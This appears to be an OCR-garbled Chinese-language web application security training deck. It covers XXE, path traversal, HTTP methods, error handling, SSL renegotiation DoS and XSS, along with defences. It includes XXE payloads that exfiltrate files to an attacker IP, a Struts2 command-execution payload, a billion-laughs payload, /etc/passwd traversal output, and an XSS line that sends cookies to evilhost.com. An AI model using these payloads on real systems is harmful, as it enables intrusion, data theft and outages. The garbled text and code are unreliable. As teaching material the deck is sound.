“"php: // filter/ read=convert. baseb4- encode/ resource=/etc/ issue" >
% dtd SYS >

TEM "http://192. 168. 1. 122/ evil. dt¢

simplexml_load_string( $xml);
r( $data),
security.tencent.com

[=] evil. dt&d
<!ENTITY all
"<!ENTITY &#x25;
>
%all;

~

-4

send SYSTEM 'http://192.168.1.122/2%file;"'>"

security.rencent.com

192.168.1.102

@

Warning: s 192.168.1.1

192.168.1.102

Warning: simplexml_load_string(): http/192.168.1.122/?S2FsaSBHTIUVTGludXggMS4wL)YgXG4gXGwKCg==:1: parser error : internal en
Warning: simplexml_load_string(): <html> in fusr/local/nginx/html/testXML6.php on line 11
Warning: sin *ethO [Wireshark 1.10.2 (SVN Rev 51934 from /trunk=1.10)]
Warning: sin Elle Edit View Go Capture Analyze 3Statistis Tele;-ho’z: Jools Internals Help
& Be 8

Warning: sin 0© 4 - XC & + 7 3 E6 B & 8 hee
Warning: sin Filter http and ip.addr==192.168.1.122 Expression Clear fRF
Warning: sin

11 2711402000 192.168.1.102 192.168.1.122 HITP 89 GET ‘ﬂ‘.'.l.d'.d HTTP/1.0
Warning: sin 12 2.712264000 192.168.1.122 192.168.1.102 HTTP 400 HTTP/1.1 200 OK (application/octet-stream)

0 02 192.168.1.122




: fusr/local/nginx/html# cat testXML4. php
<?php
$xml=<<<EQF
<?xml version="1.0"?>
<! DOCTYPE ANY [
<! ENTITY xxe SYSTEM "expect://id">
]>
<x>8xxe; </ x>
EOF;
$data = simplexml_load_string( $xml);
print_r( $data);
?> :/usr/local/nginx/html# cat testXML3. php

<?xml version="1.0"?>
<! DOCTYPE ANY [

<!ENTITY xxe SYSTEM "http://192.168.1.122: 8080/ struts2- blank/
example/HelloWorld. action? redirect: $%/b%23a%3d%28newd0j ava. Lang. Proc
essBuilderd28newd0java. Lang. String¥%b%%d%/b' whoami' . '"' %/d¥%29%29. star
t928%29, 23b%¥3d¥23a. getInputStreamd8929, R3c¥Bdnewd0j ava. io. InputSt
reamReaderd289%23b%29, 923d¥3dnewd0java. io. BufferedReaderi28%23c%29, %
3e%8dnewdR0char%bb20%bd, %23d. read¥R8%23e%29, R3matt¥8d¥R3context. get%
28' com. opensymphony. xwork2. dispatcher, HttpServlietResponse' %29, ¥%23matt
. getWriterd89%29. printlnd28%23e%29, 23matt. getWriterik8%29. flush%28%2
9, %23matt. getWriterd89%29. close¥R8%29%/d" >

-

xxe; </ x>

simplexml_load_string( $xml);
_r($data);

security.tencent.com



» Sample3: [E 5% PRF*

“Billion laughs attack”

<IENTITY
<IENTITY
<1ENTITY
< IENTITY
<1ENTITY
<IENTITY
<|ENTITY
<IENTITY
<1ENTITY

1>

lol1
lol2
lol3
lola
lols
lols
lol7
lols
lol9

<?xml version="1.8"?>
<IDOCTYPE lolz [

<IENTITY lol “"lol">

< |ELEMENT lolz {#PCDATA})

"810l1;&101;8&10l1;8&1l0]1;&101;&10]1;&10]1;:8101;8101;&101;">

"8lol1:&1011;:&1011;&10l1;81011;&10]11;&1011;&1l011;&1l0l11;&10l1;">
"8&lol2;81012;8&1012;8&1012;81012;&10]12;81012;&1012;81012;&1012;">
"81013;81013;&1013;81013;&1013;&1013;&1013;&1013;&1013;&1013;">
"8lola;&10l4;&1014;&10l14;&1014;&1014;8&1014;&1014;&10l4;&1014;">
"&lol5;8&1015;&1015;81015;8&1015;&10l15;&l015;&1015;&1015;&10l15; ">
"8lole;8lole;&lol6;&10l6;&10l6;&1016;&1016;&10l6;&1ol6;&lole; ">
"8lo17;81017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;&10l17;">
"&lol8;&1o0l8;&1018;8&1018;&1018;&1018;&1018;&1018;&1018;&1018;">

<lolz»&lol9;</lolz>
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>l AR A
v’ £ 4= XML Input
V& EXMLY %4 h3RDTD (¢ * & /5cF ¥ 7 i7) -
>R A2V Arié 2 H s K& 3 T (protocol)
/% i__" 1+ l'-l-' l*‘

v ' Web Services = SOAP (<1.2 = Vulnerable)

v'SSO = SAML

— “The Security Assertion Markup Language (SAML), is an open
standard that allows security credentials to be shared by multiple
computers across a network.” (Reference:

https://www.csoonline.com/article/3232355/authentication/what-is-saml-what-is-it-used-for-and-how-does-it-work.html)
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> Disable DTD

v 3 BAEE S 2 Parseri R T o 4
— https://www.owasp.org/index.php/ XML External Entity (XXE) P

revention Cheat Sheet
— .NET Sample:

XmlTextReader reader = new XmlTextReader(stream);
reader.DtdProcessing = DtdProcessing.Prohibit; // NEEDED because the default is Parsel!

Vidrk 2 a2 2B 4R I/DTD > 3 ° disable:
— External DOCTYPE
— External ENTITY

> H 14

v # % & ¥R XML Parser
v o % H 4
_ RN CER - P"

OGBS AR i
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Missing Function Level Access

F R BRI e Fl ol RAF U
» 18 18 I(%t—*"‘ 3@.&‘-&_1_3_ T B o
\/WebServer‘J{

v AP 1
‘/F#]?‘ﬁi""l' Wi
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KTl A L (2007/11)
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HEEEEFT  IlBREEBRIEE
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FEE
EHEE
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2 /index.asp-

VAAAAAAAAS

JO

é’ ﬁ F "‘; 3’ / cmyx,ﬂaspu % e

/cart/login.asp-

/cart/getpwd.asp- I— ees

/mews/index.asp~

’_I_{ /mews/subscri.asp- }_ cos

/help.htm«

/hitemap.htm« I_ .ond

findex.asp.bak-

fadmin/login.asp-

PRy fadmmfmm!.:am"—
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> ﬁ A HTML & 4548 % 35 % *& & shURL
R I ARF L P om
v’ adduser/deluser ~ showprofile/editprofile - ...
Blth & % kb 3
v % i» 4% : .bak ~ .old ~ .tmp ~ *~
v R T8 ‘} ﬁ-, » .cfg ~ Jog ~ .mdb ~ .xlIs ~ .sql
v @1}17}% : .tar ~ .zip ~ .rar ~ .tgz
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fe & Google Hacking

/ 23 tnurladmin - Google 1

0 St
i
v B

HBIIE
T EENE

#2

P& 3o e
s
HiERHE

T REFE
BE 24 pE

T ESREETE

@

inurl:admin
#9985 62,100,000 AR (ErF 00689

Django | The Django admin site | Django documentation . - [ #i5EHE |
Django is a high-level Python Web framewark that encourages rapid development and clean,

pragmatic design.
docs.djangoproject.comfen/dev/ref/contrib/admin/ - EESEE - HbAE

Admin - ST
wnw. info-artist. netfwp-admind

LifeType Admin
LifeType Admin. A, EADEHLRType | EHAEAE EHEEE TOEET
blog. lib. nchu. edu twlifetypefadmin php - EEREE - F RS

Mani Admin Plug-in - - [ #iEEhE |

The hamepage of Mani Admin Plug-in - a feature rich menu driven server administration tool for
games based on the Source Engine fram “alve.

weeaw man-admin-plugin. com/ - ZE] - S FAE

admingi-t A Z= Al A E R A 2P0 el 2010 R o i ...

HAE-RE BT TS - 2010511 BerghTafs 2010511 BiF SR s 2010510
HAERAF A7  BRNESRN A BNESAEHASTHETE ..
wenewe moviepobnetfprofile asp?UserMame=admin - h2E ) BHINE - BEEEE

EH AT - [ ERTEEE |

BRI A RSB i EHAERE. BPEM . HPED | KiHg : EFEE
A B EREHEE RS Tel010-81991660 Q0:ES961930 HPEadmin ..

admin asp39 cniwebZ2fadmin/login asp - EEFFEE

EEPsy2iEv o BV o BERER, P3iriithtv o, EE#T o, Email &EHMHY
o, SEEE s 1 BEEEODS), EXP, T ...
admin.taiwan. net.twhotel’lh_house.asp - EEFE - ELAE

[ElEE$8] facebook » google « YahoozgkMSH LivediiF & aE BT AT EEEEE ...
201011 168 ... HERE ST T FAuhnTiERE B CATE S - HEE NN SEE
HiRETEEEEE » 2-T2FRERE 7 £ Google - gamebase - YahootBSERILIE ...
admin. pixnet. net/blog/post/ 27617557

& Cf D~ (D wwrw.google.com twisearch Thl=eh- TW&source=hp&bim=1280&bih=705&q=tnurlad min&aq= Saqi=%agl=foq=Ees rfai=
mradE BE 2h B R BHE Gmal £ v

GO ( )8[6

=1

Pt e

- [ EREEEE |
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— 5 R A g ...

— P %733 2 No SSL

~ R HASAR
> K hAF D] etk B 7R
»—> No/Bad authorization
>»-> No Log
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—F
>k EERERE 3P (@Web Server)
‘/ﬁ? i BF P &xiEl %1‘5

VR E[EIER LR A L2 3BT

VR R R B R R Ot e 2 T
N | _ﬂ L——? 3V ’B‘-& 3 l} PI%‘E_’\‘ !
— ]‘Q}E ,fﬁ-;fﬂ-g ,;E, {[:3—'1‘ "y
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[# 32 3% (cont.)

>IFak £ R e e dR 3B
v g % 2 5 AR eURLGS )
VIR 3 B E i ol
- RLFREF R B RFHEIF R R
~WREERT KD DR B L D el
PRV L] Bk RIP
» Secure Default
M Cheb E R R
— Role Based
V iARZEEEAR)REE ) 2 TR THEFARNRD o
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Insecure Direct Object Reference ::@j%

> S X 1% Webfls* 4255 & & 4 5 35 55t i
PELEABPF EZRAOR R
v http://www.xxx.com/showPage.aspx?page=main.aspx
VR
— B 5
_ o

—
_3‘#‘ E\ XK

Demo =~ ....
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Jﬁﬁ@ REE RO &E‘J?ﬁ(_) IAD SEm

[Or7-0-HNEH &

|8 D) [ &) htp islabiqwikivikifindes phpPpage=.... /L L. detoipasswd %00

Key Pages: Home | Qrwiki
Recently Yiewed: config.php = ../ config.

sl slalal ol e

QwikiWiki
root:x:0:0:root; /root: bin/bash
bir:x: 1:1:bing bin: sbin/ologin
daemon:x: 2: 2:daemon: fsbin: /sbin/nologin
adrm;x 304 adm: var fadm: fshindologin
Ipd: 7 fvar fepoal/ipd: fsbin/nologin
sync: x5 0:syne: fsbing bindsync
shutdown:x.6:0;shutdown: /sbin: fsbin/shutdown
halt:x: 7.0:halt: fabin: fsbin/halt
mailx8: 12:mail; fvar fspool /mail : fsbin/nologin
news: 9 13news: fetc/news:

uucp:x: 10: 14:uucp: fvarfspoolfuucp: fsbin/nologin

(E1 T

C 1t | & 2= | hitps//www.mobile01.com/topicdetail. php?f=6878it=37227018lp=
zhung #8= % || FAER | A || TS || Mo | e || 55 | G

FEAE 1,082 443
2014-01-07 13:27 #1

AR —ETRIEEREEANE BEEHEEREHINE - linuxsipasswdiE#pol

o
BEEHERST ..

http://pastebin.com/mGk2bpXx
[
EELEZQ@"

ET=HNE=SR BET T HRRUERNER r EFTAEA/N - ZFFE
crackerfiIEl (T EREE

B 1998 oarpvipreiE i

TEFHRBEENEEERD BRTALLERETEEEZENIRAE

BRE listDir B UL EEEHEETETEEE

R FAFEHEEREEET ..

=4 5B  http://pastebin.com/xxxVvsCk

# http://www.fetc.net.tw/portal/front/_listDir?
admin=buck&Dirld=624940165493939446c265871f964265&path=../../../..
{../llpr_database _—

bin/

fetc.conf
lpr_data_img/
lpr_data_done/
lpr_data_missed/
lpr_data_manual/
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>@m-ﬁ@@%ﬁ%ﬁ»$3%g%$@%%%
Bk (B TR L fRen— 304,
‘> B i f#;Z : index value or a reference map
v http://www.example.com/application ?file=1
v &1 : 1 > “function_AddUser.aspx”
> H o
vV IER & 3 1T ¥ (4 Null byte) i * JFT ﬁ;f] »
— Btk & B3% = F F Decoded 2 13
Y R m*év%ﬁ*f‘ e 9F 3 8 TR R

— Java : java.io.File > getCanonicalPath()
— ASP.NET : System.lo.Path.GetFullPath()

9 55 1@
/7}%:\?;31_. 92
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Web Server

CONNECT & 7 38 (D proxy)
HEAD ¥ P~ {8 w 21 e Header p %
OPTIONS 7R PR B X emMethod
TRACE PR e Pl F
2N PUT F AR I PIRE L
(X , I
@ DELETE Pez BPIRE 2 fE %
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v HEAD
— Banner grabbing by telnet
— Sending “HEAD / HTTP/1.0” to www.hinet.net port 80

o R T I

HTTP-1.1 288 OK

Last—Modified: Tue. B3 Hov 28607 @8@:57:24 GHMT
Accept—Ranges: hytes

Content—Length: 962%

Cache—Control: max—age=3600

Expirez: Tue, B3 Hov 2087 B3:38:56 GMT

Jary: Accept—Encoding

Connection: close

Content—-Tupe: text- html

C:»Documents and Settings“fredwengl
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v OPTIONS

go cancel host |ww.d corm |
= = port |80 [ |use 55L
rejquest

l/raw rheaders rhex |

OPTIONE FHTTRM .0

Hostwew. o ] com.tw

response

l/raw rheaders rhex |

HTTFM.0 200 Ok

l: Server: Microsofi-ll555.0

— ||| Date: Thu, 07 Jan 2010 02:39:58 GMT

MS-Author-via: Dav

Content-Length: 0

Accept-Ranges: none

DASL: =DaY sl=

DA 1 2

Fuhlic: OFTIOMNS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MECOL, PROFPFIMND, PROFPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROFFIND, SEARCH, LOCK, UMLOCE

Cache-Caontral: private 96




v PUT

v DELETE

PUT /test.htm HTTP/1.1

Host: xxx.xxx.com.tw

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us

Connection: Keep-Alive

Content-type: text/html

Content-Length: 40

<html><body><h1>stipt</h1></body></html>

DELETE /testhtm HTTP/1.1

Host: xxx.xxx.com.tw

User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us

Connection: Keep-Alive

HTTP/1.1 201 Created

Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30

Connection: Closed

<html>

<body>

<h1>The file was created.</h1>
</body>

</html>

HTTP/1.1 200 OK

Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30

Connection: Closed

<html>

<body>

<h1>URL deleted.</h1>
</body>

</html>
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» % %] 500 Status Code 45353 o

v HTTP Response: Status Code
— 200 - OK
— 301 - Moved Permanently (Redirect)
— 302 - Moved Temporarily(Found)(Redirect)
— 304 - Not Modified (for Cache)

@ — 500 - Internal Server Error - B '}E’F, %’!i /_%@EJ_ !
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> Z % Framework g & 45 323
v  .NET - web.config

<customErrors mode="0n|OfffRemoteOnly"
defaultRedirect="error.html">
<error statusCode="500" redirect="err500.aspx"/>
<error statusCode="404" redirect="notHere.aspx"/>
<error statusCode="403" redirect="notAuthz.aspx"/>
</customErrors>

\/ J ava 9 Web,Xml https://msdn.microsoft.com/zh-tw/library/hOhfz6fc(v=vs.100).aspx

<error-page>
<exception-type>UnhandledException</exception-type>
<location>GenericError.jsp</location>
</error-page>

<error-page>
<error-code>500</error-code>
<location>err500.jsp</location>
</error-page>
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» .NET: B 5 37 & 5

@ETPEEO
Be B —

Action: [Change Content-Length

1

=

Lt

=10l %]

= send |

Address: [PHDs: I it o b 443/OrdQryHis. aspx
Request | [nfo | QUI

T OrdQrytis.aspx HTTP{1.1
eferer: g o win o hk: 443/ OrdQryHis. aspx

onktent-Length: 63

ontent-Type: apphcation)x-www-form-urlencoded

R il com. bk

-Agent: Mozilaf4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;
agma: no-cache

ookie: CustomCookiesWeblnspect; ASP.NET_Sessionld=uzwiqpbnsogeat SSOqomaced

NowghidPricesghidQty=8Account s YY ' tcMMeBsDD= Sorder 1= 1

JNET CLR 1.1.4322)

Response | Browser |

Argument ‘Datel’ cannot be converted to type ‘Date’.

stack trace for more information about the error and where & orignated in the code

Source Error:

Source File: CPUBLUCWWWAROOT WS Line: 46

<

s com hOrdQryHis aspx

2 Fer |

Search Fesoomc

Exception Details: System nvaldCastException: Argument ‘Datel’ cannot be converted to type Date’

Description: An unhandied exception occurred during the execution of the current web request. Please review the

Line 44:

Line 45: s = SYY & "/ &N &/ & DD

Line 46: tmpDay = DateDiff("d", sss, Now())

Line 47: strhistory = ocls-COH.GetOr'dmstory(Sess'lon("A-CNO"). Session("PASS"), tmpD
Line 48: '‘Response.wWrite(strin story)

)

=™ Regex I

R

<configqurations

<!-- forms based autpentication --»
<system.wah>

<compilatic dehug=“false”ﬂ
<compiler
<compiler languame= c#" Lype="Mi
<assemblies> /1

<add assembly=' %corlib, Version
</compilation> H
[

Wl C3RAE |

= false

([ElERER THE(E)
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» B B Directory Listing

Inde%x of /etc/passwd

Name Last modified Size Description
Parent Directory 31-Jul-2003 12:3& =
AT-admin.cgi 31-Jul-2003 12:55 2k
Count.cgi 31-Jul-2003 12:55 3k
CrazyWWWBoard.cgi 31-Jul-2003 12:55 3k
Search.pl 31-Jul-2003 12:55 9k
WSFTE.LOG 31-Jul-2003 12:55 309k

R R T
YaBE.pl 31-Jul-2003 12:55 Sk
vti inf.html 31-Jul-2003 13:06 1k
access.log 31-Jul-2003 12:55 141k
accounts.txt 31-Jul-2003 12:55 22k
admin.db 31-Jul-2003 12:55 51k
administrators.pwd 31-Jul-2003 12:55 1k
administrators.pwd.i..>» 31-Jul-2003 12:55 2k
adpassword. txt 31-Jul-2003 13:07 1k

) ) o) ) ) ) )55 o) o) ) o) o)) ) 523

master.passwd

msades.dll

mysgl.class
order.log
passlist.txt
passwd
passwd.Lxt
password
password.txt
people.lst
perl
print.cgi
pwd.dat
pwd.db
redirect.cgi

root

secring.bak

sendmail.inc

service .pwd

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

01-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

31-Jul-2003

2SD

:55

iEG

155

255D

Hi=1

=55

=1

=1X

:55

iEG

=]

255D

H-1

=55

=1

2SD

HE- 1

= o

Sk

63k

1k

3k

2k

2k

1k

1k

1k

lek

471k

10k

2k

1k

0k

Sk

4k

3k




> i B L ¥ Renegotiation

.i—SSL—DDS is a tool to verify the performance of SSL.

Establishing a secure SSL connection requires 15x more processing
power on the server than on the client.

.:-SSL-DOS expleits this asymmetric property by overloading the
server and knocking it off the Internet.

This problem affects all SSL implementations today. The vendors are aware
of this problem since 28@3 and the topic has been widely discussed.

This attack further exploits the SSL secure Renegotiation feature
to trigger thousands of renegotiations via single TCP connection.

Download:
Windows binary: -s5]l-dos-1.4-win-bin.zip
Unix Source -ssl-dos-1.4.tar.gz

Use "./configure; make all install™ to build.

i -scl-dos 18

Handshakes @ [@.0@ h/s], 8 Conn, 8 Err
Secure Renegotiation support: yes
Handshakes @ [@.0@ h/s], 97 Conn, @ Err
Handshakes 68 [67.39 h/s], 97 Conn, @ Err
Handshakes 148 [79.91 h/s], 97 Conn, @ Err
Handshakes 228 [8@.32 h/s], 18@ Conn, @ Err
Handshakes 388 [88.62 h/s], 188 Conn, @ Err
Handshakes 39@ [81.1@ h/s], 18@ Conn, @ Err
Handshakes 47@ [8@.24 h/s], 188 Conn, @ Err

102



TechNews
SN

BAZE FH ThHER #E T4 IR EFRR ARFEEER EEER BE  SEHECS ANHER

CVE-2014-3566

mj 2 ZENHEEE  Google FIEREHZETY

fE& Plngwestl??ﬁaﬁﬁ 2014 F105 15 B | 78 8, EAx:
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> TARRTAR
v i * TLS v1.2
VB P RS TLS vl ~ TLS v1.0 ~ SSLv3 ~ SSLv2
> ¥FG @ * 5 R A h4e B2 2 Hash
v % & # # * DES > 3DES - MD5 ~ RC4
> he £ R
v 1024 11 ¢
» Implementation(# &/42.; F5) i@ * B ATHK
A
v’ http://blog.jobbole.com/80591/ (SSL/TLS % ¥ & i L i3 v1.3)
v’ https://www.ssllabs.com/projects/best-practices/
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e

v OS/,% e~ it 8 F { ¥} patch

vV BRIEERE RS

vV B BF 7 & enie i PRI (service ports)

> R R

v SSL*& 2

v Web Serverik Z_
- MFPEFTER
- MEREHFTER
- "UFEGoogledF § [Fl
— OSHF 7 L& ] v

i T L sk o
> “2%- ?\ /J<\ ‘fv ) f'k )I

v # ‘% “debugging modes”
— Log ~ backdoor ~ PW ~ comment
VoG it g TLRR
v B EF B"ﬁ'ﬁ.? ® T
v ?;}i)ﬁ_ ES:S ALE T
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XSS (4£:1996 ~ 35:2)

Al Al R A I R R
Rz =R ERNS




F &tV XSS#e G

Goug!g

SEFEES
Egt 2t

SPISS - Google 182 I -k &F
| FESE BEE BE S #REH BEE Cmail F£ v

XSS

G Tr BOBRE |

Google

99 7550 000 TEES R (SBek 0 0s SRS

25 Cross-site scripting - Wikipedia, the free encyclopedia - [ #EEHE |

v B Cross-site scripting (X55) is a type of computer security vulnerability typically found in web
applications that enables malicious attackers to inject ...

e en.wikipedia.org/wiki/Crosssite_scripting - EEFE - B HE

AT RSO EEE £@PHPEE] Taiwan PHP User Group |

R IER AS5(Cross Site Scripting|IEE e EEE S CookisPETEH ... AT ERE 2 (1S5 Sgy 8 —tEae

SENTHEE S FEE RS AR TMERTREE R T | EEEEREE ..

AR twpug.net/modules/smartsectionfitem php?itemid=34 - EESEE - E A

WL 24 N H : L g

e EUU?ETEHE[ ’«SS?EJ‘iﬁ’é&;‘Qé %ﬁ’ﬁ% OpenBlue #fiIFREI22:50. ;.I DT REIREAE

T ﬁ%EFIj{%iEEg .. http-/fanti-hacker blogspot com/2007/07/«ss html ..

& anti-hacker hlugspct com » BEfEE - EEFE - Hifs

>~ EEHETH

Blog XDite net » 127538 SIS0 H BRRTY

2006 11H21H ... Brsg 43S (Cross Site Seripting) !ﬁﬁjﬁﬁ%ﬁﬁﬁﬁﬁaﬁﬁgﬁﬂmmgﬁ
il » FRLLET R BB RH DTG ES - EaFEERRyREER - kR -

blog xdite.net/?p=209 - EEEE - EiAE




T E ﬁ{gﬁ B o e, ...

class="label’> ™ £ [ £ #7& 717 </di
72 7: " & Request. Form(“SearchKeyW,




B 513 XSS# 5] (cont.)

Sign In | Contact Us | Feedback | Search |{scrupt:—aler-t{llllju:,-'s;[ G0 ]

‘ . A : g_;;ml Search Results

Mo results were found for the guary:

INSIDE ALTORO MUTUAL

Privacy and Security

The 2000 employees of Altoro Mutual are

dedicated to protecting your privacy and security.
: 1E 1111

We pledge to provide you with the information L

and rescurces that you need to help secure vour

information and keep it confidential. This is our

promise,
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e
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/= %R APPFW Demo Server - Windows Internet Explorer

e
@1-— iior |£, http:f192.168.153 130/

Google |

e I ORIl Lol (- 2R APPFW Demo Server -

Windows Internet Explorer

U0 G @ ZHFE APPFW Demo Server

Stark Technology Inc.

~| = @-,_.:__.,- [ hitp:a192 168 153130/ #] | #2 ]| % [oooge ._P'*
BED ®BED BAY ZHEELW IHD HED
Google | AR D - M- | B | P> - UEA- &) -

BB

01 HTTP FOT
02 80LH H
03 Xasfsi
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06 #BE A
07 Bt
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A B EFB-45H7 M - Microsoft Intermet Explorer
| BRE #HE WA IOSFQW IAD HE®

Q7 - - [x 2] || S &

| D) (@) http:www libertytimes com tv2006Mmewinovi21 foday-lifed htm

www.libertytimes.com:tw | / ¥ EIE Sﬁ

- EENE G_HAVMEE | @EEH
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> 5 5|7 * URL -

v http://www.wretch.cc/blog/blog.php?id=VIPBlog & search=
<script>alert(document.cookie)</script>&search_title=I

Microsoft Intermet Explorer

lang=ch-tw; __ utma=270312759 484776273.1141230841.1152230213.1152233711 .20;
A utmz=270312759.1152196100.1 3.6 utmecn=(referral) hutmecsr=H s s lutmect=blo md=referral; 1; ?fmd-‘é
PHPSESSID=2454ecc5{28900dab097d 118dc54f1e9; _ utme=270312759; _ utmb=270312759; COOKIETEST= ESTI G_COOKI
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s EUER R
http://www.wretch.cc/blog/blog.php2id=VIPBlog&search=

<script>location.replace(“http://www.evilhost.com/getcooki
e.asp?k=*“+document.cookie)</script>&search_title=I

http://www.wretch.cc/blog/blog.php2id=VIPBlog&search=
%3C%73%63%72%69%70%74%3E%6C%6F%63%61%7
4%69%6F%6E%2E%72%65%70%6C%61%63%65%28%
53%74%72%69%6E%67%2E%66%72%6F %6D%43%68

%61%72%43%6F %64%65%28%31%30%34%2C%31%31
%36...(7%)&search_title=1

EVE T B 5y
v Istblog 3 FE/_\> FEIEEF-T 5 ..

e
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>%5 8 XSS * 57 B
v 17 % Browser
v Fc % Office
v 1z ¥ Adobe
v 17# WinRAR
viIig# ...

P BARSTIRY KRR
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http://anti-hacker.blogspot.com/2009/08/sorry.htmI

20090827 PM22:00 | MEREEY | SEME | English |
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- Fred Weng [55i#13%)
- Fred Weng [55i#13%)
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height=600 width=600>
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S BF
Ve LE D ER!
VB LH e (B LH R RY)

set Reg = new RegExp '

with Reg

LPattern = "["#:;()<>=+]"

.Global = True <<script>>... ?!
end with <scr<script>ipt>

test = Reg.Replace( Request. QueryString(“test”) , “”)



3} http:/ Nocathost /code /ASP NET 11 /Request¥alidation. aspx - Microsolt Internet Explorer
Ble Edk Yew Fgeorites Tooks Heb
OBsck » ()« &) 3] n| Jsewch Favorkes WPMeds £ | 0.
Address | @] hetp: flocahost [codelASP NET1. | fRequesty shdstion_ aspa

IH'H":b world! 1!-:.-:-‘-1*»#;-i-w--;----nfr--:u-'-u.h---n-.q-'-p wwas diedeg Ve Broww the cleend { oblT o™ g ™) - Scroaod Did ernet uplores

Bl [ Yew Fgeortes [ook  fep r
You entered Hello world! Qe =) - o) 3 0] st Fevotes W reds £ v L

Ak [ @) res (e abest ot A METE | Fingery adaton e | E)eo tris ™

Server Error in '/Code' Application.

€] Done

A potentially dangerous Request.Form value was detected from the client {_ctll="<script").

D64 Pgrthoen Feguet skl P debecied o (ulentaly datgeroud Ol Pl velsd ofd froce il of e recpartd Pl Deen alrted Thel welus Sy Mokl lle a0 aRetgl 1) COPgrimee Te pelurty of
WO SpphCalOn, fuCh vl @ CrOd - ile BONEEnG AEaCE Y iuw Dan doabie reguel visldelon by ey reldalefegueilslae 0 e Page deecive of 6 e CONQ ERON pe0lon Mireerer (| Songly

Pt e el v appl albo &gl By CPeci ol Fguls © Tl Case

Enception Detaids: Tyt Vot HEpfegueety shkiator d soaplon A (obartaly et o Beogued Form veles s Sebectied rim e (el [ o apirgl™)

B & Seerss e

<%@ Page validateRegquest="false" %>

erated during the execwtion of the current web regquest. Inforsation regarding the origin and
be jdentified wring the exception stack trace below,

i fig :
Or ln Web-con lg . [wrtpheguritval 1dationbaception (OneQO0s00%) 1 4 potentially dengerous Peguedt.Form valus wad detectesd from the cliest {_ctlls"ocrmipt™).)
Srates. eb. sttofeauest. Val vdateltring(String 5. $tring valuelisse, String collectioniess)
ol weCo) Tection{Memeval welol lection me, String collectionams)
h

<configuration:> et mthed
L‘um t |H-I{ltg nePoatBackMode [ )
o = L.
<system.web> A

-2l £t i Ly
<pages validateRequest="false" /> R Bierscontent coment)
- :1lp.'!lnltﬂ-u*b.m.tpﬁp:l'ln;l'.1w1t-t—cu!1mﬂtep.i-q{u1|{}
estes{Iivecvtionites slep, Doolesnd completediynchronoutly)

</system.web>

</configuration>
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Character

HTML Entity

&lt;

&gt;

&amp

&quot;

&sbquo

&nbsp;

&#35;

&#39;

&#40;

&#41,

&#43;

&#58;

&#59;

&#61,

= /5 %3@ l[:L {cc 3199 11

C# Example: PHP:
StringBuilder sb = new StringBuilder({ Ensure output is passed through
HttpUtility HtmIEncode(input)); htmlentities() or htmispecialchars()

sh Replace("&itb&qt" "<b>");
sb.Replace("&lt/b&gt" "<b=");
sh.Replace("&ti&gt:" "<i=");
sb.Replace("&ItA&gt" "</i=");
Response. Write(sb. ToString());

ASP : Server. HTMLEncode(string)
Java :

import static org.apache.commons.lang.StringEscapelUtils.escapeHtml;
String source = "The less than sign (¢) and ampersand (&) must be escaped before using them
String escaped = escapeHtml(source);

— & ﬁi;fj D n" 3] % 1t % = URL-Encoding

b): NET : Syst

Web) HttpUtility.UrlEncode() 122
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114 <input name="step” type="hidden"™ value="login"> =
1315 cinput name="PositionNa"™ type="hidden" eslazs="butiton"™ value="MA"}
116 <input name="S1" cype="submit" class="bucton" valle="FEE">
1317 < /fods
118 </t
118 </table>
120 %/ form
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v i¢ * Framework®74t ik crip B 3k
— .NET

> Microsoft Anti-XSS Library
(https.//www.owasp.org/index.php/.NET _AntiXSS _Library)

B System.Web.Security.AntiXss

B (5 5= : http://haacked.com/archive/2010/04/06/using-antixss-as-the-
default-encoder-for-asp-net.aspx/

—JAVA:

> DeXSS -- Java program for removing JavaScript from
HTML (http://dexss.org)

> How to Build an HTTP Request Validation Engine for Your
J2EE Application

(http.//www.owasp.org/index.php/How to Build an HTTP Request Validatio
n_Engine for Your J2EE Application)
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MS Anti-XSS Library #2 7\ = 2] :

https://msdn.microsoft.com/zh-tw/library/system.web.security.antixss.antixssencoder(v=vs.110).aspx

https://www.owasp.org/index.php/ASP.NET Output Encoding

AntiXssEncoder

By default the ASP.NET enceding methods use a black-listing technigue that evaluates the string for a set of character combinations that may indicate presenc
Cross Site Scripting Library from Microsoft. Starting with ASP.NET 4.5 you can specify that the AntiXssEncoder from this library be used as the default encod)

<httpRuntime encoderType="System.Web.Security.AntiXss.AntiXssEncoder"” />
If you are using a version of NET earlier than 4.5, you will need to download and include the library as a reference to your project, and then use the earlier libra
<httpRuntime encoderType="Microsoft.Security.Application.AntiXssEncoder, AntiXssLibrary" />

In addition to the commen HtmlEncode and UrlEncede methods, the Anti-Cross Site Scnpting Library provides the following AntiXssEncoder methods for mo
CssEncode

Encodes the specified string for use in cascading style sheets (CSS). This method encodes all characters except those that are in the safe list. by using the C
alert({'X55 Attack!'); alert\220028)\080827X55\000020Attack\000021\000027\000222 200035

usen@contoso. com user\222e4@contoso'\@82a2Ecom

HtmlFormUrlEncode
Encedes the specified string for use in form submissions whose MIME type is "applic ation/x-www-form-urlencoded”. This method encodes all characters excep
alert( 'Xss Attack!'); |alert®28%27X55+Attack®21%27%29%38

userficontoso. com userk4@contoso.com

XmlAttributeEncode
Encedes the specified string for use in XML attributes. and is slightly more restrictive than XmlEncode below. This methed encedes all characters except thosg
alert({'Xss Attack!'); alert(fapos;X558#32;Attack! &apos;);

<scriptyalert('XSsdbAttack!');</script> |&lt;scriptigt;alert(fapos;X55&#12354 ;Attack!&apos; );&1t;/scriptigt;

XmlEncode

Encodes the specified string for use in XML This method encodes all characters except those that are in the safe list. Characters are encoded by using &#DE

.alert['XSS Attack!"); alert(&#39;XS58#32 Attack | &#309;);;

